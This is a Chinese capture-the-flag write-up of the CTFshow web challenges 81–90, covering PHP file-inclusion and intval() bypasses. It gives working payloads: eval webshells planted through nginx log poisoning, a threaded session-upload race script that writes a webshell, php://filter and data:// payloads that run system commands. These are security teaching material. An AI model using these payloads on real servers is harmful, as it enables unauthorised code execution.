《CTFshow-Web入门》09. Web 81~90

CTFshow 文件包含 web81 目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 15:51:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ 阅读详情
AI摘要

文章详细解释了ctf-web中的多个web题目,涉及include()、file_put_contents()的利用,条件竞争技巧,以及PHP特性如intval()的应用,通过实例展示了如何在Nginx日志、session文件和伪协议中执行代码注入。


ctf - web入门

索引

  • web81:include() 利用,一句话木马之 Nginx 日志利用。
  • web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。
  • web87:file_put_contents() 利用,伪协议 php://filter/。
  • web88:include() 利用,正则绕过,伪协议 data://。
  • web89:PHP 特性之 intval()。
  • web90:PHP 特性之 intval()。

web81

和 web80 类似。

这一题发现一个问题。如果不使用 BurpSuite 传递一句话木马,可能木马写进日志时特殊字符会被 url 编码,导致木马失效。

刚做这题时使用 hackbar 传参出现了这个问题。可能是编码问题。

题解

比 web80 多过滤了【:】。

在这里插入图片描述

可以继续用 web80 的方法。

看下日志。

url + ?file=/var/log/nginx/access.log

传递一句话木马。

url + ?file=<?=eval($_POST['hi']);?>

在这里插入图片描述

蚁剑连接日志文件。

url地址:url + ?file=/var/log/nginx/access.log
密码:hi

连上之后即可。

web82

题解

该题较上一题多过滤了【.】。

在这里插入图片描述

方法一:使用下面的脚本。这个脚本适用于 web82~web86。

import requests
import io
import threading


url='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件,如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()

运行脚本并成功写入后即可访问木马。

在这里插入图片描述

在这里插入图片描述

方法二:直接使用 burp。

参考文章:
[CTFSHOW]文件包含78-88
web入门文件包含82-86

原理

条件竞争。

例如,当打开一个文件时,就无法删除该文件。
所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。

参考文章:
ctfshow学习记录-web入门(文件包含78-87)
利用session.upload_progress进行文件包含和反序列化渗透

web83

题解

在这里插入图片描述

加了两个函数:

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件。

session_destroy():
删除当前用户对应的session文件以及释放sessionid。

但条件竞争使用的是上传那一瞬间创建的 session,所以不影响。

依旧使用 web82 的脚本。

web84

题解

在这里插入图片描述

system(rm -rf /tmp/*);,因为 session.upload_progress.cleanup = on 会清空对应 session 文件中的内容,所以加上删除对竞争的影响不大。

依旧使用 web82 的脚本。

web85

题解

在这里插入图片描述

增加了内容识别,如果有【<】就 die,不影响竞争。

依旧使用 web82 的脚本。

web86

题解

在这里插入图片描述

dirname(__FILE__):表示当前文件的绝对路径。
set_include_path():用来设置 include 的路径,即 include() 可以不提供文件的完整路径。

include 文件时,当包含路径既不是相对路径,也不是绝对路径时,会先查找 include_path 所设置的目录。

web82 脚本里用的是完整路径,不影响竞争。

web87

题解

根据题目,可以根据 file 生成一个 php 文件,文件内容可由 content 参数传递。

在这里插入图片描述

注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次url编码。

另外,需要绕过 die() 函数。

根据文章 谈一谈php://filter的妙用 ,可以有以下思路:

  • base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
  • 所以对于 <?php die('大佬别秀了');?> ,base64 编解码过滤之后就只有 phpdie 6个字符了,即可进行绕过。
  • 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
  • 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
  • 由于 base64 是4个一组,而 phpdie 只有六个,所以要加两个字母凑足base64的格式。

这题传参时,file 用 get 方法,content 用 post 方法。

思路说完了,开搞开搞。

将 php://filter/write=convert.base64-decode/resource=123.php 进行两次 url 编码。(服务器生成 123.php 文件)

在这里插入图片描述

php://filter/write=convert.base64-decode/resource=123.php
两次 url 编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

接下来对于 content 参数,就有很多方法了。

法一:

可传递 <?php system('ls'); ,需 base64 编码:

<?php system('ls');
base64 编码:
PD9waHAgc3lzdGVtKCdscycpOw==

传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgc3lzdGVtKCdscycpOw==

在这里插入图片描述

然后可查看生成的 123.php 文件。

url + 123.php

在这里插入图片描述

发现 fl0g.php 文件。

那就传递 <?php system('cat f*.php'); 。

<?php system('cat f*.php');
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7

传递 file 参数与 content 参数。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7

再次查看 123.php 即可。

在这里插入图片描述

法二:

直接传递一句话木马 <?=eval($_POST['hi']); 。

<?=eval($_POST['hi']);
base64 编码:
PD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

在这里插入图片描述

蚁剑连接 123.php 即可。

在这里插入图片描述

法三:

这是 CTFshow 提供的 writeup:

php://filter/write=string.rot13/resource=2.php

这里就先不尝试了。

这题不知道为什么传 content 参数时,php 语句不要加末尾的 “ ?> ”。可能什么地方出了问题。

原理

  • file_put_contents(filename, data):将数据写入文件。
  • urldecode():解码已编码的 URL 字符串。

谈一谈php://filter的妙用

web88

题解

这一题可以用 data:// 协议。

在这里插入图片描述

过滤了 “ = ” 号,如果构造命令时,base64 编码出现 “ = ”,可以尝试在后面加空格,避免等号出现。

构造 <?php system('cat f*.php');?> 。在语句后添加空格避免出现等号。

<?php system('cat f*.php');?> 
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

解:

url + ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

传参后查看源码即可。

web89

题解

在这里插入图片描述

  • preg_match()
    执行匹配正则表达式。只能处理字符串,所以当传入数组时会返回 false。
  • intval(value)
    用于获取变量的整数值。成功时返回 value 的 integer 值,失败时返回 0。空的数组返回 0,非空的数组返回 1。

所以这题传个数组就行。

url + ?num[]=1

在这里插入图片描述

web90

题解

在这里插入图片描述

  • intval(mixed $value, int $base = 10)
    通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。

如果 base 是 0,通过检测 value 的格式来决定使用的进制:

  • 如果字符串包括了 “0x”(或 “0X”)的前缀,使用 16 进制(hex)
  • 如果字符串以 “0” 开始,使用 8 进制(octal)
  • 否则将使用 10 进制(decimal)。

intval() 还有一个特性。输入的值如果是字符串,它返回的内容取决于第一个字符左侧的数字。如 intval(‘11a22’)=11。

法一:

使用非十进制数传递:

在这里插入图片描述

url + ?num=010574

法二:

url + ?num=4476a

美人赠我锦绣段,何以报之青玉案。

——《四愁诗》(两汉)张衡

ctfshow web入门文件包含82-86 知识点: 利用session.upload_progress进行文件包含 条件竞争 思路就是通过上传PHP_SESSION_UPLOAD_PROGRESS来访问/tmp/sess_xxx,从而进行文件包含 原理可以看这篇文章利用session.upload_progress进行文件包含和反序列化渗透 其中主要的几点 首先上传PHP_SESSION_UPLOAD_PROGRESS,代码如下 <!DOCTYPE html> <html> <body> <f 阅读详情

相关推荐

ctfshow——web(总结&持续更新)

是证书的原因,目前的解决方法是将URL中的https改为http。连用时,数据包中的post字段将会当做php代码执行。后面接着的数据会被当做php代码执行。

qq_55202378的博客 1112

ctfshow web(不定期更新)

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php://input将会无效。MD5弱等于绕过:有些字符md5后的值为0e开头,会被当做科学计数法,也就是0.所以当找到2个字符md5后的值都为0e开头时即可绕过。绕过方法:如果是以数字开头的字符串,使用is_numeric的时候会自动去掉后面的字符,将其前面的数字取出来判断。web3的升级,过滤了php伪协议,使用日志注入。

pakho_C的博客 3139

从“储能”到“信号”:拆解Buck电路中那颗不起眼的前馈电容,如何让电源更稳

本文深入解析Buck电路中前馈电容的关键作用,揭示其如何通过频域整形和零点补偿提升电源稳定性。从工作原理到工程实践,详细介绍了容值计算、布局布线及特殊场景调校策略,帮助工程师优化瞬态响应和纹波抑制。

weixin_42530458的博客 403

CTFSHOW-web

phps文件类型主要由php组与php源关联。通常,php文件将由web服务器和php可执行文件解释,您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps,配置正确的服务器将输出源代码的彩色格式版本,而不是通常生成的HTML。并非所有服务器都是这样配置的。也就是说,通过phps可以看到php代码未被解析的源代码所以拿到flagindex.phps是由于非正常关闭而产生的一个隐藏文件。

Makabakahaha的博客 1535

IPC-7351标准实战:如何用LPWizard_10快速生成PCB封装库(附避坑指南)

本文提供了一份详细的IPC-7351标准实战指南,手把手教你使用LPWizard_10软件快速生成符合行业标准的PCB封装库,并直接导入Cadence Allegro。文章深入解读了IPC-7351密度等级的选择逻辑,并重点分享了软件配置、QFN封装生成实战步骤,以及导出失败、焊盘异常等常见问题的避坑解决方案,旨在帮助硬件工程师提升设计效率和可靠性。

weixin_29207439的博客 154

保姆级教程:用GROMACS的FEP方法计算小分子结合自由能(附完整mdp配置)

本文提供了一份详细的GROMACS自由能微扰(FEP)计算教程,涵盖从系统准备、参数配置到结果分析的全流程。通过具体案例演示如何计算小分子结合自由能,包括λ窗口设计、动力学参数优化及并行化执行技巧,帮助研究者克服FEP计算中的常见问题,获得可靠的自由能数据。

weixin_30598225的博客 353

CTFSHOW web入门 命令执行+文件包含+PHP特性

刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 0:04 web46-54 3 2021.08.25 17:06(上班划水) 2021.08.25 18:00 web55-web58 4 2021.08.25 20:26 2021.08.25 22:39 web59-web72 5 2021.08.26 22:20 2021

JJT 5627

Nifi SNI 问题解决方案

Nifi 在配置 SSL 时,如果没有正确设置主机名(SNI),就会导致。为了解决这个问题,我们需要重新配置 Nifi 的 SSL 证书,并确保所有相关配置项(如服务器地址、证书路径和密码等)正确无误。以下是一个详细的解决步骤,以帮助你正确配置 Nifi 并解决 SNI 错误。文件中的配置项(如服务器地址、端口和证书路径),以及正确设置用户凭证。通过这些配置,你可以确保 Nifi 在支持 HTTPS 的同时,正确处理 SSL/TLS 的 SNI 问题。文件,配置服务器地址、端口以及证书路径和密码。

m0_58786911的博客 2296

XSS练习小结

alert(1)</script>", ...}})Payload: <script>alert(1)

2501_93515620的博客 787

B站评论情感分析实战:Python批量爬取+BERT正负向分类,精准度92%(附完整代码)

用技术手段自动化挖掘用户真实情感,比人工分析更高效、更客观。这套方案的精度能稳定在90%左右,完全满足实际应用需求。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1026

Sigrity Power SI 3D-EM Full Wave Extraction模式如何进行S参数提取和观测3D电磁场和远场实例分析(一)-差分过孔结构

Sigrity Power SI 3D-EM Full Wave Extraction模式如何进行S参数提取和观测3D电磁场和远场操作指导(一)详细介绍了3D-EM Full Wave Extraction全波S参数提取,下面以一个差分过孔结构进行实例分析,以下图为例。模式如何进行S参数提取和观测3D电磁场和远场实例分析(一)-差分过孔结构。是一个简单的4层板,top换层到bottom层的差分过孔结构。起始频率为100Mhz,截止频率为20Ghz,线性扫描。上面那根曲线是插损,下面那根线是回损。

weixin_54787054的博客 343

ctfshow web系列

源代码要求v1为为字母,v2为数字,并且v1与v2的md5值相同md5漏洞介绍:PHP在处理字符串时,它把每一个以“0E”开头的哈希值都解释为0所以只要v1与v2的md5值以0E开头即可。常见的0e开头的MD5和原值QNKCDZO240610708。

RealIiikun的博客 1361

Open3D 体素下采样【2026最新版】

体素滤波,博客长期更新,本文最近更新时间为:2026年4月11日。

点云侠的博客 37万+

CTFshow-Web入门-Web1-20 (信息收集完结篇)

CTFshow-Web入门-Web11-20 (信息收集完结篇)

m0_61155226的博客 1万+

顶刊论文引言用AI怎么写?借助Gemini 3 Pro结合四段式写出逻辑清晰的Introduction

写研究目标时,先明确研究问题,直接回应前文提到的研究缺口,如 “This study aims to investigate whether X modulates Y via the Z pathway in human cells.”然后再提出你的研究假设,当理论依据清晰时,可以用如 “We hypothesized that inhibiting X would rescue Y deficiency in this model.”的句子点出研究目标。要求:1)明确陈述本研究拟解决的核心科学问题;

智能AI让学术科研更容易 180

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

CTFshow-WEB入门-PHP特性(持续更新)

web89 利用intval的这个特性: 非空的数组会返回1,因此利用数组绕过。 web90 两种方式: ?num=4476a ?num=0x117c web91 考察了preg_match的/m模式。 默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”,那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。 因此?cmd=php%0a1即可 web92 <?php include("flag.php"); highlight_file(__

feng的博客 6848

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

ctfshow-web80、81

然后,代码使用str_replace()函数对file变量进行两次替换操作。第一次替换将file中的php字符串替换为?,第二次替换将file中的data字符串替换为?首先,代码使用isset()函数检查是否存在名为'file'的GET参数。发现与刚刚一样都是user-agent,那还是在user-agent中插入一句话木马,后续做法与web80一样。最后,代码使用include()函数来包含$file变量所代表的文件。意思是将file中的:字符串替换为?看网页信息,发现是nginx服务器。

m0_73590931的博客 825

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

CTFShow-WEB入门篇--信息搜集详细Wp

CTFShow-WEB入门篇--信息搜集详细Wp

Aluxian_的博客 3478

CTFshow Web入门 命令执行

CTFshow Web入门 命令执行

m0_62905261的博客 2277

ctfshow-web入门-文件包含(web78、web79、web80、web81)

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。此外我们也可以使用 data:// 协议进行代码执行,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。会将我们输入的 php 替换为问号?

Welcome To My6n Blog 3803

【ctfshow—web】——信息搜集篇1(web1~20详解)

此题为 【从0开始学web】系列第二十题 此系列题目从最基础开始,题目遵循循序渐进的原则 希望对学习CTF WEB的同学有所帮助。

练习时长两年半的CTF爱好者 4244

ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含

file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回,strpos($content, "

Welcome To My6n Blog 4698

CTFshow web入门web82-文件包含5

因为有die(与exit意思一样),导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!$file是我们我们可控的协议流,我们使用base64编码,在解码时去掉退出代码中不支持的字符,变为phpdie,在后面加上aa使得能正常解码phpdieaa(base64编码解码特性,4字节一组)file_put_contents(urldecode($file), "<?php die('大佬别秀了');

weixin_74336671的博客 954

【CTF】ctfshow——web

ctfshow之web通关web签到题(so easy)web2:SQL注入漏洞(联合查询)web3:文件包含漏洞web4:文件包含漏洞(日志注入)web5:md5绕过web6:SQL注入漏洞(空格被过滤)web7:SQL注入漏洞(盲注&sqlmap)布尔盲注sqlmapweb8:SQL注入漏洞(布尔盲注)web9:robots.txt + SQL注入 + md5web10web11:web12 web签到题(so easy) base64解码点这里 F12,看到有一串字符串,base64解码

m0_52923241的博客 5060

ctfshow web入门文件包含web78-81

ctfshow web入门文件包含web78-81

m0_62207170的博客 302

CTFshow web 入门 web78------web81 文件包含wp

php代码?分析代码,repalce函数将输入值中的php替换成?,可见此处php被过滤。2.得到以上文件,可知我们需要访问flag.php文件。上一题的该方法无法得到flag,会被替换成?最后右键查看源代码,得到flag。文件包含类型,并且没有任何过滤。那么考虑对php代码进行编码。system()用法如上图。查看源代码得到flag。

2202_75289892的博客 1070
上一篇: 《Kali渗透基础》15. WEB 渗透
下一篇: 《VulnHub》Empire:Breakout
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值